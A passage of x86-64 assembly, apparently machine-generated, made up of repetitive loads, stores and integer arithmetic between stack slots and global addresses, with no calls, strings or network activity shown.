and rax, rcx
mov rcx, qword [rsp + 0x9128]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5200]
mov ecx, dword [rsp + 0x4758]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x488c], eax
lea rax, [rsp + 0x18d0]
mov qword [0x1401cdd38], rax
movsx eax, byte [rsp + 0x296]
movsx ecx, byte [rsp + 0x121]
add eax, ecx
mov byte [rsp + 0x29b], al
movzx eax, byte [rsp + 0x1fa]
movzx ecx, byte [rsp + 0x2e0]
sub eax, ecx
mov byte [rsp + 0x22c], al
lea rax, [rsp + 0x1754]
mov qword [rsp + 0xbbf8], rax
mov rax, qword [rsp + 0x9ab8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa220]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9b18]
mov byte [rcx], al
mov eax, dword [rsp + 0x4f4c]
mov dword [rsp + 0x5330], eax
mov eax, dword [rsp + 0x4e80]
mov ecx, dword [rsp + 0x4f04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5210], eax
mov rax, qword [rsp + 0x9c68]
mov rcx, qword [rsp + 0x9580]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa740], rax
lea rax, [rsp + 0xbbd0]
mov qword [rsp + 0xbc00], rax
mov rax, qword [rsp + 0xa3b0]
movzx eax, word [rax]
mov rcx, qword [0x1401cd9c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401cd808]
mov word [rcx], ax
movsx eax, word [rsp + 0x1504]
movsx ecx, word [rsp + 0x191c]
sub eax, ecx
mov word [rsp + 0x17c8], ax
movzx eax, word [rsp + 0x17bc]
mov word [rsp + 0x19d8], ax
movsx eax, word [rsp + 0xff8]
mov rcx, qword [0x1401cd828]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9980]
mov word [rcx], ax
movsx eax, byte [rsp + 0x2a0]
movsx ecx, byte [rsp + 0x271]
xor eax, ecx
mov byte [rsp + 0x2de], al
mov rax, qword [rsp + 0x8980]
mov qword [rsp + 0xbc08], rax
mov rax, qword [rsp + 0xab38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5280]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x98f8]
mov dword [rcx], eax
lea rax, [rsp + 0x4e44]
mov qword [rsp + 0xbc10], rax
mov rax, qword [rsp + 0xaa40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb358]
mov qword [rsp + 0xbc18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbc18]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xafc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc07b]
and eax, ecx
mov byte [0x1401cd717], al
mov rax, qword [rsp + 0x9098]
movzx eax, word [rax]
mov word [rsp + 0x19dc], ax
movzx eax, byte [rsp + 0x22e]
movzx ecx, byte [rsp + 0x27a]
add eax, ecx
mov rcx, qword [rsp + 0xa718]
mov byte [rcx], al
mov rax, qword [0x1401cd800]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9498]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaea0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x22f]
mov byte [rsp + 0x319], al
mov rax, qword [rsp + 0x9d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x515c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x512c], eax
lea rax, [0x1401cd720]
mov qword [rsp + 0xbc20], rax
mov rax, qword [rsp + 0xb7f0]
mov rcx, qword [rsp + 0xa010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xada8], rax
mov rax, qword [rsp + 0x9820]
mov rcx, qword [rsp + 0x9618]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9450]
mov qword [rcx], rax
movzx eax, word [rsp + 0xf3c]
movzx ecx, word [rsp + 0x1950]
sub eax, ecx
mov word [0x1401cc170], ax
lea rax, [rsp + 0x262]
mov qword [rsp + 0xbc28], rax
mov rax, qword [rsp + 0x9628]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb8a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x182c], ax
mov rax, qword [0x1401cda78]
movzx eax, byte [rax]
mov byte [rsp + 0x31a], al
mov rax, qword [rsp + 0xa8e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x309]
add eax, ecx
mov byte [rsp + 0x219], al
mov eax, dword [rsp + 0x4dfc]
mov ecx, dword [rsp + 0x5160]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e80], eax
mov rax, qword [rsp + 0xa5b0]
mov rax, qword [rax]
mov qword [rsp + 0xbc30], rax
mov rax, qword [rsp + 0x9fc0]
mov rcx, qword [rsp + 0x91d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x527c], eax
lea rax, [rsp + 0x9f28]
mov qword [rsp + 0xbc38], rax
movzx eax, byte [rsp + 0x2e1]
movzx ecx, byte [rsp + 0x211]
sar eax, cl
mov byte [rsp + 0x20e], al
mov rax, qword [rsp + 0x9e28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2af]
shl eax, cl
mov byte [0x1401cd717], al
movsx eax, word [rsp + 0x16cc]
mov rcx, qword [rsp + 0x97e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x197c], ax
mov rax, qword [rsp + 0xb9d0]
movzx eax, word [rax]
mov word [rsp + 0x19e0], ax
movzx eax, byte [rsp + 0xd6]
mov rcx, qword [rsp + 0xad08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x225], al
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x4f9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4930], eax
mov rax, qword [rsp + 0xab78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa1a8]
mov dword [rcx], eax
lea rax, [rsp + 0xaf40]
mov qword [rsp + 0xbc40], rax
mov rax, qword [rsp + 0xa498]
mov rcx, qword [rsp + 0xa378]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xad78]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x9b]
movsx ecx, byte [rsp + 0x23a]
and eax, ecx
mov rcx, qword [rsp + 0xa138]
mov byte [rcx], al
movzx eax, word [rsp + 0x14d8]
mov word [0x1401cdd40], ax
mov rax, qword [rsp + 0xb878]
movzx eax, byte [rax]
mov byte [rsp + 0x31b], al
movsx eax, word [rsp + 0x1640]
mov rcx, qword [rsp + 0x9250]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15ec], ax
lea rax, [rsp + 0x1864]
mov qword [rsp + 0xbc48], rax
mov eax, dword [rsp + 0x482c]
mov ecx, dword [rsp + 0x52e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb5b0]
mov rcx, qword [rsp + 0xa6f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbd0], rax
lea rax, [rsp + 0xafa0]
mov qword [rsp + 0xbc50], rax
mov rax, qword [rsp + 0xb010]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5288]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5028], eax
movzx eax, word [rsp + 0x1634]
mov word [rsp + 0x19e4], ax
mov rax, qword [rsp + 0x9690]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16f4]
xor eax, ecx
mov word [0x1401cc174], ax
movsx eax, byte [rsp + 0x2bd]
mov rcx, qword [rsp + 0xbb88]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb9b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x2c5]
mov rcx, qword [rsp + 0xa448]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa290]
mov byte [rcx], al
mov rax, qword [rsp + 0xa560]
movzx eax, byte [rax]
mov byte [rsp + 0x31c], al
mov eax, dword [rsp + 0x4eb8]
mov ecx, dword [0x1401cc01c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x504c], eax
lea rax, [rsp + 0xad98]
mov qword [rsp + 0xbc58], rax
mov rax, qword [rsp + 0x94c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c4], eax
mov rax, qword [rsp + 0x8e58]
mov rcx, qword [rsp + 0x9198]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa6f0], rax
movzx eax, word [rsp + 0x1868]
mov word [rsp + 0x19e8], ax
movsx eax, byte [rsp + 0x1f4]
mov rcx, qword [rsp + 0xb1d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc047], al
movzx eax, byte [rsp + 0x2ee]
movzx ecx, byte [rsp + 0x2ae]
add eax, ecx
mov byte [rsp + 0x112], al
movzx eax, word [rsp + 0x1054]
mov word [rsp + 0x19ec], ax
mov rax, qword [rsp + 0x9a40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb390]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa468]
mov word [rcx], ax
movzx eax, byte [0x1401cc053]
mov byte [rsp + 0x31d], al
mov rax, qword [rsp + 0xac00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9270]
mov dword [rcx], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb650]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa130]
mov qword [rcx], rax
lea rax, [rsp + 0x9770]
mov qword [rsp + 0xbc60], rax
mov eax, dword [rsp + 0x4e70]
mov ecx, dword [rsp + 0x4fec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov dword [rcx], eax
lea rax, [rsp + 0x1e4]
mov qword [0x1401cdd48], rax
lea rax, [0x1401cc13c]
mov qword [rsp + 0xbc68], rax
mov rax, qword [rsp + 0xaa08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1618]
add eax, ecx
mov rcx, qword [rsp + 0xaf20]
mov word [rcx], ax
movsx eax, word [rsp + 0x1858]
mov rcx, qword [rsp + 0xbb38]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa468]
mov word [rcx], ax
lea rax, [0x1401cc073]
mov qword [rsp + 0xbc70], rax
mov rax, qword [rsp + 0xa198]
mov rcx, qword [rsp + 0x97c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xb3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9440]
mov eax, dword [rax]
mov dword [rsp + 0x5334], eax
mov rax, qword [rsp + 0x9fd0]
movzx ecx, al
mov rax, qword [rsp + 0x9428]
shl rax, cl
mov rcx, qword [rsp + 0xabc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb3e0]
mov rcx, qword [rsp + 0x9f68]
mov qword [rsp + 0xbc78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbc78]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb868], rax
mov rax, qword [rsp + 0xa6b8]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd9b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401cdbc0]
mov byte [rcx], al
lea rax, [rsp + 0x2e4]
mov qword [rsp + 0xbc80], rax
movsx eax, byte [rsp + 0x20a]
movsx ecx, byte [rsp + 0x29d]
and eax, ecx
mov rcx, qword [rsp + 0xa578]
mov byte [rcx], al
movzx eax, word [rsp + 0x193c]
mov word [rsp + 0x19f0], ax
movzx eax, word [rsp + 0x1864]
movzx ecx, word [rsp + 0x16c8]
add eax, ecx
mov word [rsp + 0x1448], ax
mov rax, qword [rsp + 0x9bb8]
mov rcx, qword [rsp + 0x9b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8a20], rax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xa3c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xac78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9408]
mov ecx, dword [rsp + 0x516c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5264], eax
mov eax, dword [rsp + 0x4cb0]
mov dword [rsp + 0x5338], eax
movzx eax, word [rsp + 0x1224]
movzx ecx, word [rsp + 0x16dc]
sub eax, ecx
mov rcx, qword [0x1401cd818]
mov word [rcx], ax
movsx eax, word [rsp + 0x169c]
movsx ecx, word [rsp + 0x15e8]
add eax, ecx
mov rcx, qword [rsp + 0x9cd8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x266]
mov byte [rsp + 0x31e], al
movzx eax, word [rsp + 0x163c]
mov rcx, qword [rsp + 0x9448]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x19d4], ax
mov rax, qword [rsp + 0x9620]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x293]
sub eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov byte [rcx], al
mov eax, dword [rsp + 0x4ed0]
mov dword [rsp + 0x533c], eax
mov rax, qword [rsp + 0xa100]
mov rcx, qword [rsp + 0xb750]
mov qword [rsp + 0xbc88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbc88]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xba58], rax
mov rax, qword [rsp + 0xabe0]
mov rax, qword [rax]
mov qword [rsp + 0xbc90], rax
mov rax, qword [rsp + 0xb128]
mov ecx, dword [rsp + 0x4e38]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb008]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc178], ax
mov rax, qword [rsp + 0x99f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9920]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb698]
mov byte [rcx], al
mov rax, qword [rsp + 0xb488]
movzx eax, word [rax]
mov word [rsp + 0x19f4], ax
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x99b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa8f0]
mov byte [rcx], al
lea rax, [rsp + 0x1690]
mov qword [rsp + 0xbc98], rax
mov rax, qword [rsp + 0x97c0]
mov rcx, qword [rsp + 0xb9d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb810], rax
mov eax, dword [rsp + 0x505c]
mov ecx, dword [rsp + 0x479c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x52cc], eax
lea rax, [rsp + 0xb430]
mov qword [rsp + 0xbca0], rax
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x4e74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x51ac], eax
mov rax, qword [rsp + 0x92a8]
movzx eax, byte [rax]
mov byte [0x1401cd836], al
lea rax, [rsp + 0x25a]
mov qword [rsp + 0xbca8], rax
movzx eax, word [rsp + 0x1558]
mov rcx, qword [rsp + 0xa778]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa980]
mov word [rcx], ax
movzx eax, byte [rsp + 0x30d]
mov byte [rsp + 0x31f], al
movsx eax, byte [rsp + 0x258]
mov rcx, qword [rsp + 0xa038]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x30c], al
mov rax, qword [rsp + 0xb378]
mov ecx, dword [rsp + 0x50f4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f2c], eax
lea rax, [rsp + 0x5270]
mov qword [rsp + 0xbcb0], rax
mov rax, qword [rsp + 0x96c8]
mov rcx, qword [rsp + 0x9a58]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa540]
mov qword [rcx], rax
lea rax, [rsp + 0x98b8]
mov qword [rsp + 0xbcb8], rax
mov rax, qword [rsp + 0x9590]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb158]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc0c0], ax
mov rax, qword [rsp + 0x9778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2b8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x18e8], ax
mov rax, qword [rsp + 0x9358]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x233], al
lea rax, [rsp + 0x1784]
mov qword [rsp + 0xbcc0], rax
mov rax, qword [rsp + 0xa638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xeb]
shl eax, cl
mov rcx, qword [rsp + 0xb878]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b40]
mov rax, qword [rax]
mov qword [rsp + 0xbcc8], rax
mov eax, dword [rsp + 0x52f8]
mov rcx, qword [rsp + 0x9000]
mov qword [rsp + 0xbcd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbcd0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x52a0], eax
mov rax, qword [rsp + 0xb150]
mov rcx, qword [rsp + 0xb790]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
lea rax, [rsp + 0x5104]
mov qword [rsp + 0xbcd8], rax
mov rax, qword [0x1401cd9a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x30d]
add eax, ecx
mov byte [0x1401cc09e], al
mov rax, qword [rsp + 0xaa48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa490]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb9d0]
mov word [rcx], ax
lea rax, [rsp + 0x1834]
mov qword [rsp + 0xbce0], rax
mov rax, qword [rsp + 0xaac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x24a]
and eax, ecx
mov rcx, qword [rsp + 0xa850]
mov byte [rcx], al
lea rax, [rsp + 0x1908]
mov qword [rsp + 0xbce8], rax
mov rax, qword [rsp + 0xa400]
mov rcx, qword [rsp + 0xb268]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x87c8], rax
mov rax, qword [rsp + 0x9f00]
mov rcx, qword [rsp + 0xba98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4b94], eax
lea rax, [rsp + 0xa938]
mov qword [rsp + 0xbcf0], rax
mov rax, qword [rsp + 0xbbc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eb0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5104], eax
lea rax, [rsp + 0x173c]
mov qword [rsp + 0xbcf8], rax
movsx eax, byte [rsp + 0x2f7]
mov rcx, qword [rsp + 0xa6b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc092], al
movzx eax, byte [rsp + 0x2d1]
movzx ecx, byte [0x1401cc046]
sub eax, ecx
mov rcx, qword [rsp + 0xa728]
mov byte [rcx], al
movzx eax, word [rsp + 0x1054]
movzx ecx, word [rsp + 0x16e0]
sub eax, ecx
mov word [rsp + 0x1510], ax
movzx eax, byte [rsp + 0x298]
mov byte [rsp + 0x320], al
mov rax, qword [rsp + 0x9658]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5314]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0d8]
mov dword [rcx], eax
lea rax, [rsp + 0x501c]
mov qword [rsp + 0xbd00], rax
mov rax, qword [rsp + 0xa5b0]
mov rcx, qword [rsp + 0xa698]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb0a8], rax
mov rax, qword [rsp + 0xa598]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98d0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xb2]
mov rcx, qword [rsp + 0xb500]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xf5], al
lea rax, [rsp + 0x1664]
mov qword [0x1401cdd50], rax
movzx eax, word [rsp + 0x183c]
mov rcx, qword [rsp + 0xa490]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x16fc], ax
movzx eax, byte [rsp + 0x234]
mov byte [rsp + 0x321], al
mov rax, qword [rsp + 0x9550]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba38]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0x9658]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5000]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9f90]
mov qword [rsp + 0xbd08], rax
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0xa818]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5128], eax
lea rax, [0x1401cc020]
mov qword [rsp + 0xbd10], rax
movsx eax, word [rsp + 0x14e8]
movsx ecx, word [rsp + 0x16b0]
add eax, ecx
mov rcx, qword [rsp + 0xb8a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9fb0]
movsx eax, byte [rax]
mov rcx, qword [0x1401cdd00]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc09b], al
lea rax, [rsp + 0x2f9]
mov qword [rsp + 0xbd18], rax
mov rax, qword [rsp + 0xaaa8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa718]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2e6], al
movzx eax, word [rsp + 0x18e0]
movzx ecx, word [0x1401cc080]
sub eax, ecx
mov word [rsp + 0x183c], ax
lea rax, [rsp + 0x4edc]
mov qword [rsp + 0xbd20], rax
mov rax, qword [rsp + 0xbb68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb980]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa668], rax
mov rax, qword [rsp + 0xbc10]
mov eax, dword [rax]
mov dword [rsp + 0x5340], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xa5c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa7d8], rax
movzx eax, byte [rsp + 0x253]
mov rcx, qword [rsp + 0x9c90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbd18]
mov byte [rcx], al
movzx eax, word [rsp + 0x1958]
mov rcx, qword [0x1401cdbd8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc17c], ax
movzx eax, byte [rsp + 0x250]
mov byte [rsp + 0x322], al
movsx eax, word [rsp + 0x18f8]
movsx ecx, word [rsp + 0x1954]
sar eax, cl
mov word [rsp + 0x1788], ax
movzx eax, word [0x1401cc170]
mov word [rsp + 0x19f8], ax
mov rax, qword [rsp + 0x98c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaf98]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x208], al
mov eax, dword [rsp + 0x5098]
movzx ecx, al
mov eax, dword [rsp + 0x51b4]
shl eax, cl
mov dword [rsp + 0x5000], eax
mov rax, qword [rsp + 0xbb20]
mov rax, qword [rax]
mov qword [rsp + 0xbd28], rax
mov rax, qword [rsp + 0xa2a8]
mov rcx, qword [rsp + 0xa8c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8f88]
mov dword [rcx], eax
lea rax, [rsp + 0x8ab8]
mov qword [rsp + 0xbd30], rax
movzx eax, word [rsp + 0x1624]
movzx ecx, word [0x1401cc0cc]
add eax, ecx
mov rcx, qword [0x1401cd738]
mov word [rcx], ax
mov rax, qword [rsp + 0xa808]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xade0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1758], ax
movzx eax, byte [rsp + 0x22c]
mov rcx, qword [rsp + 0x9d78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x25d], al
lea rax, [rsp + 0x2e2]
mov qword [rsp + 0xbd38], rax
mov rax, qword [rsp + 0x9748]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1968]
add eax, ecx
mov rcx, qword [rsp + 0xac58]
mov word [rcx], ax
lea rax, [rsp + 0x4ec8]
mov qword [rsp + 0xbd40], rax
mov rax, qword [rsp + 0xae38]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xab10], rax
mov eax, dword [rsp + 0x4ea0]
mov dword [rsp + 0x5344], eax
mov rax, qword [rsp + 0xb040]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb980]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92f8], rax
mov rax, qword [0x1401cd910]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1774]
sub eax, ecx
mov word [0x1401cc09c], ax
mov rax, qword [rsp + 0xaeb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb8a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1834], ax
lea rax, [rsp + 0x2a2]
mov qword [rsp + 0xbd48], rax
movzx eax, word [rsp + 0x161c]
mov rcx, qword [rsp + 0xa738]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9038]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2f6]
mov byte [rsp + 0x323], al
mov rax, qword [rsp + 0xb760]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9918]
mov qword [rsp + 0xbd50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbd50]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4eb8], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xa340]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9438], rax
mov rax, qword [rsp + 0xb458]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ce0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x85f0], rax
mov eax, dword [rsp + 0x50b8]
mov rcx, qword [rsp + 0xad80]
mov qword [rsp + 0xbd58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbd58]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x90d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa038]
movzx eax, byte [rax]
mov byte [0x1401cd837], al
lea rax, [rsp + 0x2e1]
mov qword [rsp + 0xbd60], rax
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
movsx ecx, word [0x1401cc128]
imul eax, ecx
mov rcx, qword [rsp + 0x91c0]
mov word [rcx], ax
movzx eax, word [rsp + 0x171c]
mov rcx, qword [rsp + 0xa208]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xeec], ax
movzx eax, byte [rsp + 0x290]
mov byte [rsp + 0x324], al
mov rax, qword [rsp + 0xb1f0]
mov rcx, qword [rsp + 0xa2b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x512c], eax
mov rax, qword [rsp + 0x84b8]
mov qword [rsp + 0xbd68], rax
mov rax, qword [rsp + 0xb268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9418]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9dd0]
mov qword [rcx], rax
lea rax, [rsp + 0x4e98]
mov qword [rsp + 0xbd70], rax
mov rax, qword [0x1401cd808]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf28]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401cd888]
mov word [rcx], ax
movsx eax, word [rsp + 0x14e0]
movsx ecx, word [rsp + 0x15d0]
add eax, ecx
mov word [rsp + 0x1828], ax
movsx eax, byte [rsp + 0x20b]
movsx ecx, byte [rsp + 0x2a7]
sub eax, ecx
mov byte [rsp + 0x255], al
movzx eax, byte [rsp + 0x285]
mov byte [rsp + 0x325], al
movzx eax, byte [rsp + 0x1e1]
mov rcx, qword [rsp + 0xad08]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x31e], al
lea rax, [0x1401cd710]
mov qword [rsp + 0xbd78], rax
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5220]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5064], eax
mov rax, qword [rsp + 0xa800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xadd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9db8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb110]
mov qword [rsp + 0xbd80], rax
lea rax, [rsp + 0x11fc]
mov qword [0x1401cdd58], rax
mov rax, qword [rsp + 0xaa10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa298]
movsx ecx, byte [rcx]
add eax, ecx
